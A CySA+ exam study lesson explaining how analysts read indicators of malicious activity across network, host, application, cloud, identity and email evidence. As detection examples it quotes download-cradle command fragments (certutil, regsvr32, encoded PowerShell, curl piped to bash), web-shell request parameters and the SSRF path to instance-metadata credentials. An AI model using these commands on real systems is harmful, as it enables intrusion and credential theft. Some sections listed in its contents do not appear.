CySA+ CS0-004 Indicators of Malicious Activity: Network, Host, Application, Cloud and Identity
<p>An indicator of potential malicious activity is an observable sign in network traffic, a host, an application, a cloud account, an identity or an email that departs from the expected baseline in a way attackers commonly cause. This lesson covers CompTIA CySA+ CS0-004 objective 1.2: how to read each kind of indicator from real log evidence, and how to separate it from the legitimate activity that looks most like it. No single indicator proves compromise. Analysts combine several signals with context such as the host's role, the destination's reputation and whether an approved change explains what they see.</p>
On this page10 sections
- How do you spot rogue devices and enumeration on the network?
- Which anomalous traffic patterns and unexpected ports indicate compromise?
- What do resource consumption, unauthorized software and rogue processes reveal on a host?
- How do you tell malicious use of LOLBins and scripts from administration?
- Which file system changes and exfiltration signs should an analyst recognise?
- What unauthorized configuration changes indicate an intruder?
- What do application indicators like web shells and service crashes look like?
- Which cloud indicators show anomalous activity or resource compromise?
- How do you read identity indicators: account compromise, unauthorized access and impossible travel?
- How do typosquatting, URL shorteners and business email compromise show up?
- Recognise rogue devices, network enumeration, beaconing, DNS tunneling and policy-breaking ports in network evidence
- Interpret host indicators: abnormal resource use, unauthorized software, rogue processes, LOLBin abuse, file system changes and exfiltration
- Identify unauthorized configuration changes such as AV exclusions, firewall openings, audit-policy changes and log clearing
- Distinguish web shells and exploit-driven crashes from load, leaks and denial of service
- Read cloud audit evidence of stolen keys, SSRF credential theft, cryptojacking and exposed storage
- Classify identity attacks (spraying, stuffing, MFA fatigue, Kerberoasting) and judge impossible-travel alerts
- Spot typosquatted and homograph domains, abused URL shorteners and both forms of business email compromise
How do you spot rogue devices and enumeration on the network?
A rogue device is any device on your network that nobody approved: an unauthorized DHCP server, a wireless access point plugged into a wall jack, a small computer hidden under a desk, or a host pretending to be a trusted device. Enumeration is the attacker's next step after getting in: systematically listing hosts, open ports, users, groups and trusts to choose targets. Both leave recognisable traces.
Rogue devices
- Rogue DHCP server. Clients receive addresses, a gateway or DNS servers from the wrong scope. A capture shows two DHCPOFFERs for each DHCPDISCOVER, one from the real server and one from an unknown address and MAC. A clue is the MAC's vendor prefix (OUI):
b8:27:eb, for example, belongs to the Raspberry Pi Foundation, not to a server vendor. Whoever controls the gateway and DNS a client receives can intercept its traffic. The defining evidence is a second, unexpected server answering the same request. DHCP snooping on the switch blocks offers from untrusted ports. - MAC cloning. Devices that cannot do 802.1X (printers, cameras, phones) are often let in through MAC Authentication Bypass or a static exemption, so copying such a device's MAC is a cheap way onto a trusted VLAN. The switch then reports the same MAC flapping between two ports.
- Rogue access points and unknown hosts show up as unknown MACs or OUIs, new SSIDs broadcasting from inside the building, or switch ports that suddenly have a link where no equipment is recorded.
| MAC flapping cause | Evidence that supports it |
|---|---|
| Layer 2 loop | Spanning-tree topology changes, a broadcast storm, many MACs flapping at once |
| Device moved | The MAC disappears from the first port and stops answering there |
| Spoofed (cloned) MAC | The real device keeps working on its own port while the same MAC also transmits from a second port, with no loop evidence |
Network enumeration
Scans have a shape. A horizontal scan (sweep) probes one port across many hosts, for example TCP 445 on every address in a /24, to find where a service runs. A vertical scan probes many ports on one host. In firewall logs, closed targets answer with RST and listening ones with SYN-ACK. A SYN flood looks different again: huge volumes at one target and port, aimed at exhaustion rather than discovery. A brute-force attack shows repeated authentication attempts, not connection probes.
Host-based domain discovery
Once code runs on a workstation, an intruder asks the domain questions. A short burst of built-in commands such as whoami /groups, net group "Domain Admins" /domain, nltest /domain_trusts and net view /all answers: who am I, who are the admins, which domains trust this one, and which shares exist. Any one of them can be legitimate. A chain of them within minutes, especially with a parent such as EXCEL.EXE or WINWORD.EXE, is not what logon scripts or inventory tools do.
Which anomalous traffic patterns and unexpected ports indicate compromise?
Anomalous network activity is traffic whose timing, volume, direction or destination does not fit the baseline for that host. Activity on unexpected ports is traffic that breaks the documented egress policy or the expected port-to-service pattern. Neither proves compromise alone; the destination's reputation and the host's role decide it.
Beaconing
Malware checks in with its command-and-control (C2) server on a timer: small, near-identical requests at a regular interval with a little jitter, continuing at night and at weekends when the user is offline. Update agents also poll regularly, so look at the destination too: a newly registered domain (check WHOIS creation date), an "uncategorized" proxy category and no matching approved software all point to C2.
DNS tunneling, DGA and fast flux
| Pattern | What it is | What the DNS logs show |
|---|---|---|
| DNS tunneling | Data carried inside DNS queries and responses to an attacker-controlled authoritative server | One parent domain, very high query volume from one host, long random-looking (high-entropy) subdomain labels, often TXT records, mostly NOERROR answers, and large outbound byte counts on port 53 |
| Domain generation algorithm (DGA) | Malware computes many candidate domains a day and tries them until it finds the one the attacker registered | Many different random-looking second-level domains, most answered NXDOMAIN |
| Fast flux | One domain whose A records rotate rapidly through many compromised hosts (double flux rotates the name servers too) | Stable name, very short TTLs, changing IP answers |
Volume and direction
Always read which way the bytes went and whether the destination is expected. A large outbound flow to an unknown internet host is suspicious; a larger one to the backup appliance is normal; a large inbound flow from an internal patch or software-distribution server is a download. Gigabytes leaving over port 53 are far beyond normal DNS.
Unexpected ports
Compare each flow with policy. If workstations may use only TCP 80/443 and internal resolvers, then direct queries to a public resolver such as 8.8.8.8 on UDP 53 (bypassing internal DNS logging, or tunneling) and outbound attempts on ports like TCP 9001 (a common Tor relay port) or 3333 (common for Stratum mining pools) stand out. Hundreds of repeated attempts after a deny point to automated software rather than a user's typing mistake. Internal DNS, HTTPS to known services and Kerberos (TCP/UDP 88) to a domain controller are expected.
How do you tell malicious use of LOLBins and scripts from administration?
Living off the land binaries (LOLBins) are signed, built-in operating system tools that attackers use for downloading, executing or bypassing controls, because allowlisting trusts them and they leave no new malware file to detect. The binary's name tells you nothing; the command-line arguments, the parent process and the network destination decide whether a use is malicious.
| Binary | Abuse pattern | Routine counterpart |
|---|---|---|
| certutil.exe | -urlcache -split -f http://<internet IP>/logo.png %TEMP%\upd.exe downloads any file (a "download cradle") | Certificate requests to the internal CA, CRL cache operations, managing certificate stores |
| mshta.exe | Runs a remote .hta file with the user's rights | Rare in modern environments |
| regsvr32.exe | /s /n /u /i:http://…/x.sct scrobj.dll fetches and runs a COM scriptlet ("Squiblydoo") | Registering a locally installed product's DLL during installation |
| rundll32.exe | Calling an export of a DLL in a user-writable folder or one just downloaded | printui.dll,PrintUIEntry mapping a printer from the internal print server |
| msiexec.exe | Installing a package from an unknown internet host | Silent install from the company's own deployment server |
Strong signs of abuse are a raw internet IP or unknown domain instead of an internal server, a file served with one extension and saved with another (an "image" saved as .exe), a user-writable destination such as %TEMP%, and an Office application or browser as the parent.
Encoded PowerShell
Obfuscated PowerShell commonly combines -nop (no profile), -w hidden (hidden window) and -enc (a Base64-encoded UTF-16LE command). Decode the string: IEX (New-Object Net.WebClient)… means Invoke-Expression on content downloaded at run time, so code runs in memory without a file on disk. A WINWORD.EXE or EXCEL.EXE parent ties it to a document, most likely a malicious macro. Administrative scripts, logon profile scripts and Office add-in updates do not produce that parent-child pair.
Other script hosts
The same test applies to every script engine. wscript.exe or cscript.exe running a .js or .vbs file from an email attachment, a download or a temp folder is a common first stage, whereas logon scripts run from the domain's SYSVOL share. On Linux, a one-liner that pipes a download straight into a shell (curl … | bash) by a web or service account, or from an unfamiliar host, is the equivalent of an in-memory PowerShell cradle.
Which file system changes and exfiltration signs should an analyst recognise?
File system indicators are changes to files that do not fit normal use: mass modification, new files in unusual places, and timestamps that contradict each other. Data exfiltration indicators are signs that data is being gathered, packed and moved off the host.
Mass modification: ransomware, wiper or staging?
| Activity | File system evidence |
|---|---|
| Ransomware | Thousands of files modified and renamed to a new extension in minutes, plus a ransom note (for example README_DECRYPT.html) in each folder |
| Wiper | Files overwritten or deleted at speed, but no ransom instructions; the goal is destruction |
| Staging for exfiltration | New archives created; the originals stay unchanged |
Legitimate bulk jobs such as backup, sync or indexing read files or write to their own location; they do not rewrite originals in place. And because a file server only applies the writes its clients send, find the host that owns the sessions making the changes: that client, not the server, is usually where the malicious code runs.
Timestomping
An NTFS master file table (MFT) record holds two sets of timestamps. $STANDARD_INFORMATION is what Explorer shows and can be changed easily through the normal API. $FILE_NAME is maintained by the kernel and is much harder to change. If $STANDARD_INFORMATION claims a file is years old (often with fractional seconds of exactly zero) while $FILE_NAME says it appeared this week, someone backdated the visible times so the file blends in. An unsigned DLL in System32 with a name close to a real system library and no recorded installation strengthens that conclusion.
Data exfiltration
- Staging: archiving tools run against sensitive folders, especially with encryption that hides file names (7-Zip
-pwith-mhe=on), writing to user-writable or rarely viewed folders. - Transfer tools: rclone, cloud sync clients or command-line upload tools sending to a consumer file-sharing or personal cloud account rather than the documented backup target.
- Asymmetric volume: much more data out than in, to an unknown destination, often outside business hours or under an account that normally works only during the day.
- Covert channels: unusually large volumes over DNS or other protocols that normally carry little data.
What do application indicators like web shells and service crashes look like?
Application indicators show that an application is being used or broken in a way its design does not intend: anomalous activity such as unexpected uploads, unusual requests or new administrative actions, and service disruption such as crashes, restarts and outages.
Web shells
A web shell is a server-side script an attacker plants on a web server to run operating system commands through HTTP. The classic trail is an upload feature that accepted an executable script (a .php, .aspx or .jsp file named like an image), followed by GET requests to that file under the uploads folder with a command parameter such as ?c=id, ?c=uname+-a or ?c=cat+/etc/passwd. Response sizes vary with each command's output. Reading /etc/passwd may look like path traversal, but traversal shows ../ sequences in the request path rather than calls to an uploaded script. Other signs are new script files in web directories, the web server process spawning shells (w3wp.exe or httpd launching cmd.exe or sh), and requests from one address to a file no page links to.
Service disruption: attack or load?
| Cause | Evidence |
|---|---|
| Exploit attempt against a memory-corruption flaw | Crash right after one unusual request (for example an oversized header), at normal overall volume; a segfault with the instruction pointer at 41414141 (0x41 is ASCII "A") shows attacker input overwrote return data on the stack. Repeats every few minutes look like exploit tuning |
| Volumetric DoS | Bandwidth or packet rate far above normal; the network link saturates |
| Low-and-slow DoS (for example Slowloris) | Few requests, but connections held open until the server runs out of connection slots; the process stays up but stops answering |
| Memory leak | Memory grows steadily under the normal workload until the process is killed or restarts, with no link to a particular request |
Other application anomalies include error bursts in logs, new user or admin accounts created inside the application, unusual queries, and transactions at odd hours.
Which cloud indicators show anomalous activity or resource compromise?
Cloud indicators come mainly from the provider's control-plane audit logs (API calls) and its threat-detection findings. Anomalous activity means API calls that do not fit the identity's baseline; resource compromise means a cloud resource or its credentials are under someone else's control.
Anomalous API activity
A stolen access key typically follows a recognisable script: confirm the identity (for example AWS GetCallerIdentity), discover where it can act (DescribeRegions, listing permissions), then use it. Watch for a new source IP, unused regions, odd hours, a long-term key belonging to a non-human identity (CI/CD or service users) behaving interactively, and unusually large or expensive resources. Launching many GPU instances in regions the company never uses is a common cryptojacking pattern: attackers mine at the victim's expense where nobody is watching. Defences include budgets and cost alerts, restricting allowed regions, and replacing long-term keys with short-lived role credentials.
Instance credential theft through SSRF
Cloud VMs reach an instance metadata service at the link-local address 169.254.169.254. On AWS the path /latest/meta-data/iam/security-credentials/<role> returns the temporary credentials of the VM's attached role. If an application fetches URLs on a user's behalf, server-side request forgery (SSRF) can make it request that path and hand the keys back. The second half of the indicator is those role credentials being used from an address outside the provider's network; AWS GuardDuty, for example, raises instance credential exfiltration findings for this. Requiring token-based metadata access (IMDSv2, which needs a PUT to obtain a session token first) blocks the simple GET-based attack.
Exposed storage
A storage bucket made public shows up in the audit log as a policy change granting access to everyone (for example Principal: "*" with read and list actions). Access logs that follow with no requester identity (anonymous requests) listing and downloading many objects from an outside address mean the data was taken without any credentials. Any request made with credentials, by a person or a service, records who made it, so an empty requester field is the discriminator. Account-level public access blocks prevent the change in the first place.
How do typosquatting, URL shorteners and business email compromise show up?
These are social engineering indicators: the attacker relies on a person trusting a name, a link or a message. The evidence is in the domain, the link's real destination and the mailbox itself.
Typosquatting and lookalike domains
| Technique | Example | How to recognise it |
|---|---|---|
| Typosquatting | fabrikarn.com ("rn" looks like "m"), fabrikkam.com, fabrikam.co | Plain Latin letters, but a misspelling or a different TLD |
| Combosquatting (lookalike) | fabrikam-billing.com | The real brand plus an extra word; often grouped with typosquatting as a lookalike domain |
| Homograph (IDN) domain | fаbrikam.com with a Cyrillic "а" | Looks identical in the client, but security tools record the Punycode form beginning xn-- |
| Subdomain abuse | fabrikam.com.signin.example | The registered domain is the label immediately left of the public suffix, plus that suffix (signin.example here), not the brand at the start |
| Open redirect | trusted.com/redirect?url=… | A trusted host with a redirect parameter to somewhere else |
| DNS poisoning | The genuine name resolves to the wrong IP | The domain is correct; the resolution is not |
Newly registered and uncategorized domains add weight to any of these.
URL shorteners
A shortener hides the destination behind a link-service host, and the owner can change the target at any time. A gateway that checked the link at delivery may have seen a harmless page, while the same short link redirects to a malware download hours later. The general rule: when every requester, including your own security tools, now gets the malicious page, the link itself has been repointed; when only some visitors get it, the server is choosing what to show by visitor (cloaking). That is why click-time URL checking and expanding short links before trusting them matter.
Business email compromise (BEC)
BEC is fraud in which an attacker impersonates or takes over a trusted business mailbox, typically to redirect payments or obtain sensitive data. It comes in two forms with different evidence:
- Compromised mailbox: the attacker signs in as the real user and sends from the genuine account. Mailbox audit logs show inbox rules with meaningless names (".") that move messages containing words such as "invoice", "payment" or "bank" to an obscure folder (RSS Feeds, Archive) and mark them read, plus external forwarding (
ForwardingSmtpAddress) to a personal address, made from unfamiliar locations. - Lookalike domain: the attacker registers a similar domain, so nothing changes in the victim's mailbox. Because the attacker owns that domain, they can publish SPF, sign with DKIM and set DMARC: all three pass. Authentication only proves the owner of the From domain authorized the message; it says nothing about whether that domain is yours.
A third route, consent phishing, gives a malicious OAuth app access to the mailbox through an approval prompt; its actions appear under the app's grant rather than as interactive sign-ins by the user. Across all forms, the red flags are urgency, a payment or bank-detail change, a display name of an executive or supplier, and requests to bypass normal verification. Verify payment changes out of band using contact details already on file.
Tip. Objective 1.2 is tested almost entirely through scenarios built on evidence: firewall, proxy, DNS and NetFlow excerpts, EDR process trees and command lines, Windows event IDs, MFT timestamps, web and application logs, cloud audit trails, identity-provider sign-in summaries, and email headers or mailbox audit entries. You are asked for the most likely explanation, the entry to investigate first, the finding that would confirm or close an alert, or two indicators out of several log lines. The wrong options are usually the legitimate activity that looks most similar (an update agent, a backup job, a VPN, an administrator change, a memory leak), so the deciding detail is often the parent process, the destination, the direction of the bytes, the response code or whether an approved change exists. Expect multiple-response items that require reading every row against a stated policy.
- Judge every indicator against a baseline and context: the host's role, the destination's reputation and whether an approved change explains it.
- A rogue DHCP server shows as a second DHCPOFFER; a cloned MAC flaps between ports while the real device keeps working and no loop evidence exists.
- Horizontal scans probe one port across many hosts; vertical scans probe many ports on one host; chained whoami/net group/nltest from an Office parent is domain enumeration.
- DNS tunneling is one domain, many high-entropy labels and successful answers; a DGA is many domains answered NXDOMAIN; fast flux is one name with rotating IPs.
- Judge processes and LOLBins by parent, path, user and arguments: svchost.exe always comes from services.exe, and certutil, mshta and regsvr32 pulling from internet IPs are download cradles.
- $STANDARD_INFORMATION timestamps can be faked easily; a mismatch with $FILE_NAME means timestomping.
- Event 4719 plus event 1102 by an account with no change request is anti-forensics; a full log produces 1104, not 1102.
- Stolen cloud keys show identity checks, unused regions and expensive instances; instance role credentials used from outside the provider point to SSRF against 169.254.169.254.
- Password failures mean spraying or brute force; unknown usernames with one-try successes mean stuffing; repeated MFA denials then an approval mean MFA fatigue; many RC4 service tickets mean Kerberoasting.
- SPF, DKIM and DMARC passing only proves the lookalike domain's owner sent the mail; hidden inbox rules and external forwarding mean the real mailbox is compromised.
Frequently asked questions
What is the difference between DNS tunneling and a domain generation algorithm?
DNS tunneling carries data inside DNS queries and responses to a single attacker-controlled domain, so logs show one parent domain, very high query volume from one host, long random-looking subdomain labels, often TXT records and successful answers. A domain generation algorithm (DGA) makes malware try many different random-looking domains until it finds the one the attacker registered, so most lookups fail with NXDOMAIN. Fast flux is a third pattern: one stable domain whose IP addresses rotate rapidly.
How can you tell that svchost.exe is malicious?
A genuine svchost.exe runs from C:\Windows\System32 and is always started by services.exe, under SYSTEM, LOCAL SERVICE, NETWORK SERVICE or, for per-user services, the signed-in user. An svchost.exe with any other parent (such as explorer.exe), from any other path, or behaving unusually on the network is suspicious. Process hollowing can run malicious code inside the genuine binary, so check the parent and behaviour rather than trusting the path alone.
What is a LOLBin in cybersecurity?
A LOLBin (living off the land binary) is a legitimate, signed operating-system tool that attackers use to download, execute or hide malicious code, because security controls trust it. Examples on Windows include certutil.exe, mshta.exe, regsvr32.exe, rundll32.exe and PowerShell. Analysts decide whether a use is malicious from the command-line arguments, the parent process and the network destination, for example certutil downloading an executable from an internet IP.
What is the difference between password spraying and credential stuffing?
Password spraying tries a few common passwords against many valid accounts in one organization, slowly, to avoid lockouts. Credential stuffing replays username and password pairs leaked from other breaches, usually once each, so it includes many usernames that do not exist in the target directory, almost one password per username, and successes on the first attempt for users who reused a password. Brute force tries many passwords against a few accounts.
When is an impossible-travel alert a false positive?
An impossible-travel alert is a false positive when infrastructure explains why one person appears in two distant places, most often the company's VPN egress, a cloud security proxy or a carrier that routes traffic through another country. Confirming that the second IP address belongs to that infrastructure closes the alert. Details an attacker can also reproduce, such as a completed sign-in that looks ordinary, do not close it on their own.
Why can a business email compromise message pass SPF, DKIM and DMARC?
SPF, DKIM and DMARC only prove that the owner of the domain in the From address authorized the message. An attacker who registers a lookalike domain controls its DNS, so they can publish SPF, sign with DKIM and set a DMARC policy, and every check passes. Passing authentication says nothing about whether the domain is the one you trust, so the lookalike domain, an executive display name and an urgent payment request remain BEC indicators.
What does Windows event 1102 mean?
Windows Security event 1102 means the audit log was cleared, and it records the account that cleared it. When it follows event 4719 (system audit policy changed) under an account with no approved change, it indicates anti-forensics: an intruder disabling logging and erasing evidence. A Security log that simply fills up produces event 1104 or overwrites old events instead.
How do attackers steal cloud instance credentials with SSRF?
Cloud virtual machines can read an instance metadata service at 169.254.169.254, which returns the temporary credentials of the role attached to the VM. If a web application fetches URLs supplied by users, server-side request forgery (SSRF) can make it request the credentials path and return the keys to the attacker, who then uses them from outside the provider's network. Requiring token-based metadata access, such as AWS IMDSv2, blocks this simple GET-based attack.
Source
This lesson covers the "Security Operations" domain of the official CS0-004 exam guide. Vendors revise their guides — check the source for the current version.
Sign up free to mark lessons complete, bookmark topics and track your exam readiness.